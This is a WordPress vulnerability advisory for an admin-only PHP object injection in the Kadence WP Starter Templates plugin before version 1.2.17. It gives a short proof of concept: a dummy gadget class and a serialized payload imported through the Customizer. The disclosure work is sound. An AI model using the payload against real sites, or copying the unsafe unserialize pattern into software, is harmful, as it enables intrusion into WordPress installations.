WordPress Plugin Vulnerabilities

Starter Templates by Kadence WP < 1.2.17 - Admin+ PHP Object Injection

Description

The plugin unserialises the content of an imported file, which could lead to PHP object injection issues when an admin import (intentionally or not) a malicious file and a suitable gadget chain is present on the blog.

Proof of Concept

To simulate a gadget chain, put the following code in a plugin:

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Create a file named import.dat with the below content and import it (via Appearance > Customize > Import/Export):

O:4:"Evil":0:{};

Affects Plugins

References

Classification

Type
OBJECT INJECTION
CWE

Miscellaneous

Original Researcher
Nguyen Pham Viet Nam
Submitter
Nguyen Pham Viet Nam
Verified
Yes

Timeline

Publicly Published
2022-12-16 (about 1 years ago)
Added
2022-12-16 (about 1 years ago)
Last Updated
2022-12-16 (about 1 years ago)

Other